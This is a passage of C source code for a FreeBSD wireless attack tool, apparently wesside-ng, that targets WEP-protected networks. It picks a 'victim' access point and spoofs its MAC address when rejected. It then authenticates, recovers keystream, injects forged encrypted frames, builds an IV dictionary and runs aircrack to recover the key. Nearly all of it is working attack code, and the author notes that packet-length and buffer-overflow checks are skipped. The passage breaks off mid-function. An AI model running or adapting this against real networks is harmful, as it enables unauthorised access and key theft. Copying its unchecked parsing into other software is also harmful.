1 /*
2  * wep owner by sorbo <sorbox@yahoo.com>
3  * Aug 2005
4  *
5  * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6  * overflows.  this whole thing is experimental n e way.
7  *
8  * $FreeBSD$
9  */
10 
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
15 #include <sys/stat.h>
16 #include <sys/wait.h>
17 #include <sys/uio.h>
18 #include <net/if.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
24 #include <net/bpf.h>
25 #include <net/ethernet.h>
26 #include <net80211/ieee80211.h>
27 #include <net80211/ieee80211_ioctl.h>
28 #include <net80211/ieee80211_radiotap.h>
29 #include <net80211/ieee80211_freebsd.h>
30 #include <netinet/in.h>
31 #include <netinet/in_systm.h>
32 #include <netinet/ip.h>
33 #include <netinet/udp.h>
34 #include <arpa/inet.h>
35 #include <paths.h>
36 #include <stdlib.h>
37 #include <stdio.h>
38 #include <unistd.h>
39 #include <string.h>
40 #include <fcntl.h>
41 #include <errno.h>
42 #include <assert.h>
43 #include <zlib.h>
44 #include <signal.h>
45 #include <stdarg.h>
46 #include <err.h>
47 #include <pcap.h>
48 
49 #include "aircrack-ptw-lib.h"
50 
51 #define FIND_VICTIM		0
52 #define FOUND_VICTIM		1
53 #define SENDING_AUTH		2
54 #define GOT_AUTH		3
55 #define SPOOF_MAC		4
56 #define SENDING_ASSOC		5
57 #define GOT_ASSOC		6
58 
59 int state = 0;
60 
61 struct timeval arpsend;
62 
63 struct tx_state {
64 	int waiting_ack;
65 	struct timeval tsent;
66 	int retries;
67 	unsigned int psent;
68 } txstate;
69 
70 struct chan_info {
71 	int s;
72 	struct ieee80211req ireq;
73 	int chan;
74 } chaninfo;
75 
76 struct victim_info {
77 	char* ssid;
78 	int chan;
79 	char bss[6];
80 } victim;
81 
82 struct frag_state {
83 	struct ieee80211_frame wh;
84 	unsigned char* data;
85 	int len;
86 	unsigned char* ptr;
87 	int waiting_relay;
88 	struct timeval last;
89 } fragstate;
90 
91 struct prga_info {
92 	unsigned char* prga;
93 	unsigned int len;
94 	unsigned char iv[3];
95 } prgainfo;
96 
97 struct decrypt_state {
98 	unsigned char* cipher;
99 	int clen;
100 	struct prga_info prgainfo;
101 	struct frag_state fragstate;
102 } decryptstate;
103 
104 struct wep_log {
105 	unsigned int packets;
106 	unsigned int rate;
107 	int fd;
108 	unsigned char iv[3];
109 } weplog;
110 
111 #define LINKTYPE_IEEE802_11     105
112 #define TCPDUMP_MAGIC           0xA1B2C3D4
113 
114 unsigned char* floodip = 0;
115 unsigned short floodport = 6969;
116 unsigned short floodsport = 53;
117 
118 unsigned char* netip = 0;
119 int netip_arg = 0;
120 int max_chan = 11;
121 
122 unsigned char* rtrmac = 0;
123 
124 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
125 unsigned char myip[16] = "192.168.0.123";
126 
127 int bits = 0;
128 int ttl_val = 0;
129 
130 PTW_attackstate *ptw;
131 
132 unsigned char *victim_mac = 0;
133 
134 int ack_timeout = 100*1000;
135 
136 #define ARPLEN (8+ 8 + 20)
137 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
138 unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
139 #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
140 #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
141 #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
142 
143 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
144 
145 #define WEP_FILE "wep.cap"
146 #define KEY_FILE "key.log"
147 #define PRGA_FILE "prga.log"
148 
149 unsigned int min_prga =  128;
150 
151 /*
152  * When starting aircrack we try first to use a
153  * local copy, falling back to where the installed
154  * version is expected.
155  * XXX builtin pathnames
156  */
157 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
158 #define CRACK_INSTALL_CMD _PATH_LOCALBASE "/bin/aircrack"
159 
160 #define INCR 10000
161 int thresh_incr = INCR;
162 
163 #define MAGIC_TTL_PAD 69
164 
165 int crack_dur = 60;
166 int wep_thresh = INCR;
167 int crack_pid = 0;
168 struct timeval crack_start;
169 struct timeval real_start;
170 
171 /* linksys does this.  The hardware pads small packets. */
172 #define PADDED_ARPLEN 54
173 
174 #define PRGA_LEN (1500-14-20-8)
175 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
176 
177 #define DICT_PATH "dict"
178 #define TAP_DEV "/dev/tap3"
179 unsigned char tapdev[16];
180 unsigned char taptx[4096];
181 unsigned int taptx_len = 0;
182 int tapfd = -1;
183 
184 /********** RIPPED
185 ************/
186 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
187   register long sum;
188   u_short oddbyte;
189   register u_short answer;
190 
191   sum = 0;
192   while (nbytes > 1)
193     {
194       sum += *ptr++;
195       nbytes -= 2;
196     }
197 
198   if (nbytes == 1)
199     {
200       oddbyte = 0;
201       *((u_char *) & oddbyte) = *(u_char *) ptr;
202       sum += oddbyte;
203     }
204 
205   sum = (sum >> 16) + (sum & 0xffff);
206   sum += (sum >> 16);
207   answer = ~sum;
208   return (answer);
209 }
210 /**************
211 ************/
212 
213 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
214                           struct in_addr *dip) {
215         unsigned char *tmp;
216         struct ippseudo *ph;
217 
218         tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
219         if(!tmp)
220 		err(1, "malloc()");
221 
222         ph = (struct ippseudo*) tmp;
223 
224         memcpy(&ph->ippseudo_src, sip, 4);
225         memcpy(&ph->ippseudo_dst, dip, 4);
226         ph->ippseudo_pad =  0;
227         ph->ippseudo_p = IPPROTO_UDP;
228         ph->ippseudo_len = htons(len);
229 
230         memcpy(tmp + sizeof(struct ippseudo), stuff, len);
231 
232         return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
233 }
234 
235 void time_print(char* fmt, ...) {
236         va_list ap;
237         char lame[1024];
238 	time_t tt;
239 	struct tm *t;
240 
241         va_start(ap, fmt);
242         vsnprintf(lame, sizeof(lame), fmt, ap);
243         va_end(ap);
244 
245 	tt = time(NULL);
246 
247 	if (tt == (time_t)-1) {
248 		perror("time()");
249 		exit(1);
250 	}
251 
252 	t = localtime(&tt);
253 	if (!t) {
254 		perror("localtime()");
255 		exit(1);
256 	}
257 
258 	printf("[%.2d:%.2d:%.2d] %s",
259 	       t->tm_hour, t->tm_min, t->tm_sec, lame);
260 }
261 
262 void check_key() {
263 	char buf[1024];
264 	int fd;
265 	int rd;
266 	struct timeval now;
267 
268 	fd = open(KEY_FILE, O_RDONLY);
269 
270 	if (fd == -1) {
271 		return;
272 	}
273 
274 	rd = read(fd, buf, sizeof(buf) -1);
275 	if (rd == -1) {
276 		perror("read()");
277 		exit(1);
278 	}
279 
280 	buf[rd] = 0;
281 
282 	close(fd);
283 
284 	printf ("\n\n");
285 	time_print("KEY=(%s)\n", buf);
286 
287 	if (gettimeofday(&now, NULL) == -1) {
288 		perror("gettimeofday()");
289 		exit(1);
290 	}
291 
292 	printf ("Owned in %.02f minutes\n",
293 		((double) now.tv_sec - real_start.tv_sec)/60.0);
294 	exit(0);
295 }
296 
297 void kill_crack() {
298 	if (crack_pid == 0)
299 		return;
300 
301 	printf("\n");
302 	time_print("Stopping crack PID=%d\n", crack_pid);
303 
304 	// XXX doesn't return -1 for some reason! [maybe on my box... so it
305 	// might be buggy on other boxes...]
306 	if (kill(crack_pid, SIGINT) == -1) {
307 		perror("kill()");
308 		exit(1);
309 	}
310 
311 	crack_pid = 0;
312 
313 	check_key();
314 }
315 
316 void cleanup(int x) {
317 	time_print("\nDying...\n");
318 
319 	if (weplog.fd)
320 		close(weplog.fd);
321 
322 	kill_crack();
323 
324 	exit(0);
325 }
326 
327 void set_chan(int c) {
328 	if (c == chaninfo.chan)
329 		return;
330 
331 	chaninfo.ireq.i_val = c;
332 
333 	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
334 		perror("ioctl(SIOCS80211) [chan]");
335 		exit(1);
336 	}
337 	chaninfo.chan = c;
338 }
339 
340 void set_if_mac(unsigned char* mac, unsigned char *name) {
341 	int s;
342 	struct ifreq ifr;
343 
344 	s = socket(PF_INET, SOCK_DGRAM, 0);
345 	if (s == -1) {
346 		perror("socket()");
347 		exit(1);
348 	}
349 
350 	memset(&ifr, 0, sizeof(ifr));
351 	strcpy(ifr.ifr_name, name);
352 
353 	ifr.ifr_addr.sa_family = AF_LINK;
354 	ifr.ifr_addr.sa_len = 6;
355 	memcpy(ifr.ifr_addr.sa_data, mac, 6);
356 
357 	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
358 		perror("ioctl(SIOCSIFLLADDR)");
359 		exit(1);
360 	}
361 
362 	close(s);
363 }
364 
365 void setup_if(char *dev) {
366 	int s;
367 	struct ifreq ifr;
368 	unsigned int flags;
369 	struct ifmediareq ifmr;
370 	int *mwords;
371 
372 	if(strlen(dev) >= IFNAMSIZ) {
373 		time_print("Interface name too long...\n");
374 		exit(1);
375 	}
376 
377 	time_print("Setting up %s... ", dev);
378 	fflush(stdout);
379 
380 	set_if_mac(mymac, dev);
381 
382 	s = socket(PF_INET, SOCK_DGRAM, 0);
383 	if (s == -1) {
384 		perror("socket()");
385 		exit(1);
386 	}
387 
388 	// set chan
389 	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
390 	strcpy(chaninfo.ireq.i_name, dev);
391 	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
392 
393 	chaninfo.chan = 0;
394 	chaninfo.s = s;
395 	set_chan(1);
396 
397 	// set iface up and promisc
398 	memset(&ifr, 0, sizeof(ifr));
399 	strcpy(ifr.ifr_name, dev);
400 	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
401 		perror("ioctl(SIOCGIFFLAGS)");
402 		exit(1);
403 	}
404 
405 	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
406 	flags |= IFF_UP | IFF_PPROMISC;
407 
408 	memset(&ifr, 0, sizeof(ifr));
409 	strcpy(ifr.ifr_name, dev);
410 	ifr.ifr_flags = flags & 0xffff;
411 	ifr.ifr_flagshigh = flags >> 16;
412 	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
413 		perror("ioctl(SIOCSIFFLAGS)");
414 		exit(1);
415 	}
416 
417 	printf("done\n");
418 }
419 
420 int open_bpf(char *dev, int dlt) {
421         int i;
422         char buf[64];
423         int fd = -1;
424         struct ifreq ifr;
425 
426         for(i = 0;i < 16; i++) {
427                 sprintf(buf, "/dev/bpf%d", i);
428 
429                 fd = open(buf, O_RDWR);
430                 if(fd < 0) {
431                         if(errno != EBUSY) {
432                                 perror("can't open /dev/bpf");
433                                 exit(1);
434                         }
435                         continue;
436                 }
437                 else
438                         break;
439         }
440 
441         if(fd < 0) {
442                 perror("can't open /dev/bpf");
443                 exit(1);
444         }
445 
446         strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
447         ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
448 
449         if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
450                 perror("ioctl(BIOCSETIF)");
451                 exit(1);
452         }
453 
454         if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
455                 perror("ioctl(BIOCSDLT)");
456                 exit(1);
457         }
458 
459         i = 1;
460         if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
461                 perror("ioctl(BIOCIMMEDIATE)");
462                 exit(1);
463         }
464 
465         return fd;
466 }
467 
468 void hexdump(unsigned char *ptr, int len) {
469         while(len > 0) {
470                 printf("%.2X ", *ptr);
471                 ptr++; len--;
472         }
473         printf("\n");
474 }
475 
476 char* mac2str(unsigned char* mac) {
477 	static char ret[6*3];
478 
479 	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
480 		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
481 
482 	return ret;
483 }
484 
485 void inject(int fd, void *buf, int len)
486 {
487 	static struct ieee80211_bpf_params params = {
488 		.ibp_vers = IEEE80211_BPF_VERSION,
489 		/* NB: no need to pass series 2-4 rate+try */
490 		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
491 		.ibp_rate0 = 2,		/* 1 MB/s XXX */
492 		.ibp_try0 = 1,		/* no retransmits */
493 		.ibp_flags = IEEE80211_BPF_NOACK,
494 		.ibp_power = 100,	/* nominal max */
495 		.ibp_pri = WME_AC_VO,	/* high priority */
496 	};
497 	struct iovec iov[2];
498 	int rc;
499 
500 	iov[0].iov_base = &params;
501 	iov[0].iov_len = params.ibp_len;
502 	iov[1].iov_base = buf;
503 	iov[1].iov_len = len;
504 	rc = writev(fd, iov, 2);
505 	if(rc == -1) {
506 		perror("writev()");
507 		exit(1);
508 	}
509 	if (rc != (len + iov[0].iov_len)) {
510 		time_print("Error Wrote %d out of %d\n", rc,
511 			   len+iov[0].iov_len);
512 		exit(1);
513 	}
514 }
515 
516 void send_frame(int tx, unsigned char* buf, int len) {
517 	static unsigned char* lame = 0;
518 	static int lamelen = 0;
519 	static int lastlen = 0;
520 
521 	// retransmit!
522 	if (len == -1) {
523 		txstate.retries++;
524 
525 		if (txstate.retries > 10) {
526 			time_print("ERROR Max retransmists for (%d bytes):\n",
527 			       lastlen);
528 			hexdump(&lame[0], lastlen);
529 //			exit(1);
530 		}
531 		len = lastlen;
532 //		printf("Warning doing a retransmit...\n");
533 	}
534 	// normal tx
535 	else {
536 		assert(!txstate.waiting_ack);
537 
538 		if (len > lamelen) {
539 			if (lame)
540 				free(lame);
541 
542 			lame = (unsigned char*) malloc(len);
543 			if(!lame) {
544 				perror("malloc()");
545 				exit(1);
546 			}
547 
548 			lamelen = len;
549 		}
550 
551 		memcpy(lame, buf, len);
552 		txstate.retries = 0;
553 		lastlen = len;
554 	}
555 
556 	inject(tx, lame, len);
557 
558 	txstate.waiting_ack = 1;
559 	txstate.psent++;
560 	if (gettimeofday(&txstate.tsent, NULL) == -1) {
561 		perror("gettimeofday()");
562 		exit(1);
563 	}
564 
565 #if 0
566 	printf("Wrote frame at %lu.%lu\n",
567 	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
568 #endif
569 }
570 
571 unsigned short fnseq(unsigned short fn, unsigned short seq) {
572         unsigned short r = 0;
573 
574         if(fn > 15) {
575                 time_print("too many fragments (%d)\n", fn);
576                 exit(1);
577         }
578 
579         r = fn;
580 
581         r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
582 
583         return r;
584 }
585 
586 void fill_basic(struct ieee80211_frame* wh) {
587 	unsigned short* sp;
588 
589 	memcpy(wh->i_addr1, victim.bss, 6);
590 	memcpy(wh->i_addr2, mymac, 6);
591 	memcpy(wh->i_addr3, victim.bss, 6);
592 
593 
594 
595 	sp = (unsigned short*) wh->i_seq;
596 	*sp = fnseq(0, txstate.psent);
597 
598 	sp = (unsigned short*) wh->i_dur;
599 	*sp = htole16(32767);
600 }
601 
602 void send_assoc(int tx) {
603 	unsigned char buf[128];
604 	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
605 	unsigned char* body;
606 	int ssidlen;
607 
608 	memset(buf, 0, sizeof(buf));
609 	fill_basic(wh);
610 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
611 
612 	body = (unsigned char*) wh + sizeof(*wh);
613 	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
614 	// cap + interval
615 	body += 2 + 2;
616 
617 	// ssid
618 	*body++ = 0;
619 	ssidlen = strlen(victim.ssid);
620 	*body++ = ssidlen;
621 	memcpy(body, victim.ssid, ssidlen);
622 	body += ssidlen;
623 
624 	// rates
625 	*body++ = 1;
626 	*body++ = 4;
627 	*body++ = 2;
628 	*body++ = 4;
629 	*body++ = 11;
630 	*body++ = 22;
631 
632 	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
633 			    strlen(victim.ssid) + 2 + 4);
634 }
635 
636 void wepify(unsigned char* body, int dlen) {
637 	uLong crc;
638 	unsigned long *pcrc;
639 	int i;
640 
641 	assert(dlen + 4 <= prgainfo.len);
642 
643 	// iv
644 	memcpy(body, prgainfo.iv, 3);
645 	body +=3;
646 	*body++ = 0;
647 
648 	// crc
649 	crc = crc32(0L, Z_NULL, 0);
650 	crc = crc32(crc, body, dlen);
651 	pcrc = (unsigned long*) (body+dlen);
652 	*pcrc = crc;
653 
654 	for (i = 0; i < dlen +4; i++)
655 		*body++ ^= prgainfo.prga[i];
656 }
657 
658 void send_auth(int tx) {
659 	unsigned char buf[128];
660 	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
661 	unsigned short* n;
662 
663 	memset(buf, 0, sizeof(buf));
664 	fill_basic(wh);
665 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
666 
667 	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
668 	n++;
669 	*n = 1;
670 
671 	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
672 }
673 
674 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
675 	unsigned char* ptr;
676 	int x;
677 	int gots = 0, gotc = 0;
678 
679 	if (len <= sizeof(*wh)) {
680 		time_print("Warning: short packet in get_victim_ssid()\n");
681 		return 0;
682 	}
683 
684 	ptr = (unsigned char*)wh + sizeof(*wh);
685 	len -= sizeof(*wh);
686 
687 	// only wep baby
688 	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
689 		return 0;
690 	}
691 
692 	// we want a specific victim
693 	if (victim_mac) {
694 		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
695 			return 0;
696 	}
697 
698 	// beacon header
699 	x = 8 + 2 + 2;
700 	if (len <= x) {
701 		time_print("Warning short.asdfasdf\n");
702 		return 0;
703 	}
704 
705 	ptr += x;
706 	len -= x;
707 
708 	// SSID
709 	while(len > 2) {
710 		int eid, elen;
711 
712 		eid = *ptr;
713 		ptr++;
714 		elen = *ptr;
715 		ptr++;
716 		len -= 2;
717 
718 		if (len < elen) {
719 			time_print("Warning short....\n");
720 			return 0;
721 		}
722 
723 		// ssid
724 		if (eid == 0) {
725 			if (victim.ssid)
726 				free(victim.ssid);
727 
728 			victim.ssid = (char*) malloc(elen + 1);
729 			if (!victim.ssid) {
730 				perror("malloc()");
731 				exit(1);
732 			}
733 
734 			memcpy(victim.ssid, ptr, elen);
735 			victim.ssid[elen] = 0;
736 			gots = 1;
737 
738 		}
739 		// chan
740 		else if(eid == 3) {
741 			if( elen != 1) {
742 				time_print("Warning len of chan not 1\n");
743 				return 0;
744 			}
745 
746 			victim.chan = *ptr;
747 			gotc = 1;
748 		}
749 
750 		ptr += elen;
751 		len -= elen;
752 	}
753 
754 	if (gots && gotc) {
755 		memcpy(victim.bss, wh->i_addr3, 6);
756 		set_chan(victim.chan);
757 		state = FOUND_VICTIM;
758 		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
759 		       victim.ssid, mac2str(victim.bss), victim.chan);
760 		return 1;
761 	}
762 	return 0;
763 }
764 
765 void send_ack(int tx) {
766 	/* firmware acks */
767 }
768 
769 void do_llc(unsigned char* buf, unsigned short type) {
770 	struct llc* h = (struct llc*) buf;
771 
772 	memset(h, 0, sizeof(*h));
773 	h->llc_dsap = LLC_SNAP_LSAP;
774 	h->llc_ssap = LLC_SNAP_LSAP;
775 	h->llc_un.type_snap.control = 3;
776 	h->llc_un.type_snap.ether_type = htons(type);
777 }
778 
779 void calculate_inet_clear() {
780 	struct ip* ih;
781 	struct udphdr* uh;
782 	uLong crc;
783 	unsigned long *pcrc;
784 	int dlen;
785 
786 	memset(inet_clear, 0, sizeof(inet_clear));
787 
788 	do_llc(inet_clear, ETHERTYPE_IP);
789 
790 	ih = (struct ip*) &inet_clear[8];
791 	ih->ip_hl = 5;
792 	ih->ip_v = 4;
793 	ih->ip_tos = 0;
794 	ih->ip_len = htons(20+8+PRGA_LEN);
795 	ih->ip_id = htons(666);
796 	ih->ip_off = 0;
797 	ih->ip_ttl = ttl_val;
798 	ih->ip_p = IPPROTO_UDP;
799 	ih->ip_sum = 0;
800 	inet_aton(floodip, &ih->ip_src);
801 	inet_aton(myip, &ih->ip_dst);
802 	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
803 
804 	uh = (struct udphdr*) ((char*)ih + 20);
805 	uh->uh_sport = htons(floodport);
806 	uh->uh_dport = htons(floodsport);
807 	uh->uh_ulen = htons(8+PRGA_LEN);
808 	uh->uh_sum = 0;
809         uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
810                                   &ih->ip_src, &ih->ip_dst);
811 
812 	// crc
813 	dlen = 8 + 20 + 8 + PRGA_LEN;
814 	assert (dlen + 4 <= sizeof(inet_clear));
815 
816 	crc = crc32(0L, Z_NULL, 0);
817 	crc = crc32(crc, inet_clear, dlen);
818 	pcrc = (unsigned long*) (inet_clear+dlen);
819 	*pcrc = crc;
820 
821 #if 0
822 	printf("INET %d\n", sizeof(inet_clear));
823 	hexdump(inet_clear, sizeof(inet_clear));
824 #endif
825 }
826 
827 void set_prga(unsigned char* iv, unsigned char* cipher,
828 	      unsigned char* clear, int len) {
829 
830 	int i;
831 	int fd;
832 
833 	if (prgainfo.len != 0)
834 		free(prgainfo.prga);
835 
836 	prgainfo.prga = (unsigned char*) malloc(len);
837 	if (!prgainfo.prga) {
838 		perror("malloc()");
839 		exit(1);
840 	}
841 
842 	prgainfo.len = len;
843 	memcpy(prgainfo.iv, iv, 3);
844 
845 	for (i = 0; i < len; i++) {
846 		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
847 				 	        clear[i]);
848 	}
849 
850 	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
851 	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
852 	hexdump(prgainfo.prga, prgainfo.len);
853 
854 	if (!cipher)
855 		return;
856 
857 	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
858 		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
859 
860 	if (fd == -1) {
861 		perror("open()");
862 		exit(1);
863 	}
864 
865 	i = write(fd, prgainfo.iv, 3);
866 	if (i == -1) {
867 		perror("write()");
868 		exit(1);
869 	}
870 	if (i != 3) {
871 		printf("Wrote %d out of %d\n", i, 3);
872 		exit(1);
873 	}
874 
875 	i = write(fd, prgainfo.prga, prgainfo.len);
876 	if (i == -1) {
877 		perror("write()");
878 		exit(1);
879 	}
880 	if (i != prgainfo.len) {
881 		printf("Wrote %d out of %d\n", i, prgainfo.len);
882 		exit(1);
883 	}
884 
885 	close(fd);
886 }
887 
888 
889 void log_dictionary(unsigned char* body, int len) {
890 	char paths[3][3];
891 	int i, rd;
892 	int fd;
893 	unsigned char path[128];
894 	unsigned char file_clear[sizeof(inet_clear)];
895 	unsigned char* data;
896 
897 	len -= 4; // IV etc..
898 	assert (len == sizeof(inet_clear));
899 
900 	data = body +4;
901 
902 	if (len > prgainfo.len)
903 		set_prga(body, data, inet_clear, len);
904 
905 
906 	for (i = 0; i < 3; i++)
907 		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
908 
909 
910 	strcpy(path, DICT_PATH);
911 
912 
913 	// first 2 bytes
914 	for (i = 0; i < 2; i++) {
915 		strcat(path, "/");
916 		strcat(path, paths[i]);
917 		fd = open(path, O_RDONLY);
918 		if (fd == -1) {
919 			if (errno != ENOENT) {
920 				perror("open()");
921 				exit(1);
922 			}
923 
924 			if (mkdir(path, 0755) == -1) {
925 				perror("mkdir()");
926 				exit(1);
927 			}
928 		}
929 		else
930 			close(fd);
931 	}
932 
933 	// last byte
934 	strcat(path, "/");
935 	strcat(path, paths[2]);
936 
937 	fd = open(path, O_RDWR);
938 	// already exists... see if we are consistent...
939 	if (fd != -1) {
940 		rd = read(fd, file_clear, sizeof(file_clear));
941 
942 		if (rd == -1) {
943 			perror("read()");
944 			exit(1);
945 		}
946 
947 		// check consistency....
948 		for (i = 0; i < rd; i++) {
949 			if (file_clear[i] !=
950 			    (data[i] ^ inet_clear[i])) {
951 
952 				printf("Mismatch in byte %d for:\n", i);
953 				hexdump(body, len+4);
954 				exit(1);
955 			}
956 		}
957 
958 		// no need to log
959 		if (i >= sizeof(inet_clear)) {
960 #if 0
961 			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
962 				body[0], body[1], body[2]);
963 #endif
964 			close(fd);
965 			return;
966 		}
967 
968 		// file has less... fd still open
969 
970 	} else {
971 		fd = open(path, O_WRONLY | O_CREAT, 0644);
972 		if (fd == -1) {
973 			printf("Can't open (%s): %s\n", path,
974 			       strerror(errno));
975 			exit(1);
976 		}
977 	}
978 
979 	assert (sizeof(file_clear) >= sizeof(inet_clear));
980 
981 	for(i = 0; i < len; i++)
982 		file_clear[i] = data[i] ^ inet_clear[i];
983 
984 	rd = write(fd, file_clear, len);
985 	if (rd == -1) {
986 		perror("write()");
987 		exit(1);
988 	}
989 	if (rd != len) {
990 		printf("Wrote %d of %d\n", rd, len);
991 		exit(1);
992 	}
993 	close(fd);
994 }
995 
996 void stuff_for_us(struct ieee80211_frame* wh, int len) {
997 	int type,stype;
998 	unsigned char* body;
999 
1000 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1001 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1002 
1003 	body = (unsigned char*) wh + sizeof(*wh);
1004 
1005 	// CTL
1006 	if (type == IEEE80211_FC0_TYPE_CTL) {
1007 		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1008 			txstate.waiting_ack = 0;
1009 			return;
1010 		}
1011 
1012 		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1013 			return;
1014 		}
1015 
1016 		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1017 			return;
1018 		}
1019 		time_print ("got CTL=%x\n", stype);
1020 		return;
1021 	}
1022 
1023 	// MGM
1024 	if (type == IEEE80211_FC0_TYPE_MGT) {
1025 		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1026 			unsigned short* rc = (unsigned short*) body;
1027 			printf("\n");
1028 			time_print("Got deauth=%u\n", le16toh(*rc));
1029 			state = FOUND_VICTIM;
1030 			return;
1031 			exit(1);
1032 		}
1033 		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1034 			unsigned short* sc = (unsigned short*) body;
1035 
1036 			if (*sc != 0) {
1037 				time_print("Warning got auth algo=%x\n", *sc);
1038 				exit(1);
1039 				return;
1040 			}
1041 			sc++;
1042 
1043 			if (*sc != 2) {
1044 				time_print("Warning got auth seq=%x\n", *sc);
1045 				return;
1046 			}
1047 
1048 			sc++;
1049 
1050 			if (*sc == 1) {
1051 				time_print("Auth rejected... trying to spoof mac.\n");
1052 				state = SPOOF_MAC;
1053 				return;
1054 			}
1055 			else if (*sc == 0) {
1056 				time_print("Authenticated\n");
1057 				state = GOT_AUTH;
1058 				return;
1059 			}
1060 			else {
1061 				time_print("Got auth %x\n", *sc);
1062 				exit(1);
1063 			}
1064 		}
1065 		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1066 			unsigned short* sc = (unsigned short*) body;
1067 			sc++; // cap
1068 
1069 			if (*sc == 0) {
1070 				sc++;
1071 				unsigned int aid = le16toh(*sc) & 0x3FFF;
1072 				time_print("Associated (ID=%x)\n", aid);
1073 				state = GOT_ASSOC;
1074 				return;
1075 		        } else if (*sc == 12) {
1076                                 time_print("Assoc rejected..."
1077                                            " trying to spoof mac.\n");
1078                                 state = SPOOF_MAC;
1079                                 return;
1080 			} else {
1081 				time_print("got assoc %x\n", *sc);
1082 				exit(1);
1083 			}
1084 		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1085 			return;
1086 		}
1087 
1088 		time_print("\nGOT MAN=%x\n", stype);
1089 		exit(1);
1090 	}
1091 
1092 	if (type == IEEE80211_FC0_TYPE_DATA &&
1093 	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1094 		int dlen;
1095 		dlen = len - sizeof(*wh) - 4 -4;
1096 
1097 		if (!( wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
1098 			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1099 				   mac2str(wh->i_addr2), dlen, stype);
1100 				   return;
1101 		}
1102 
1103 		assert (wh->i_fc[1] & IEEE80211_FC1_PROTECTED);
1104 
1105 		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1106 			rtrmac = (unsigned char *) malloc(6);
1107 			if (!rtrmac) {
1108 				perror("malloc()");
1109 				exit(1);
1110 			}
1111 
1112 			assert( rtrmac > (unsigned char*) 1);
1113 
1114 			memcpy (rtrmac, wh->i_addr3, 6);
1115 			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1116 
1117 			return;
1118 		}
1119 #if 0
1120 		// check if its a TTL update from dictionary stuff
1121 		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1122 		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1123 			int ttl_delta, new_ttl;
1124 
1125 			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1126 			new_ttl = 128 - ttl_delta;
1127 
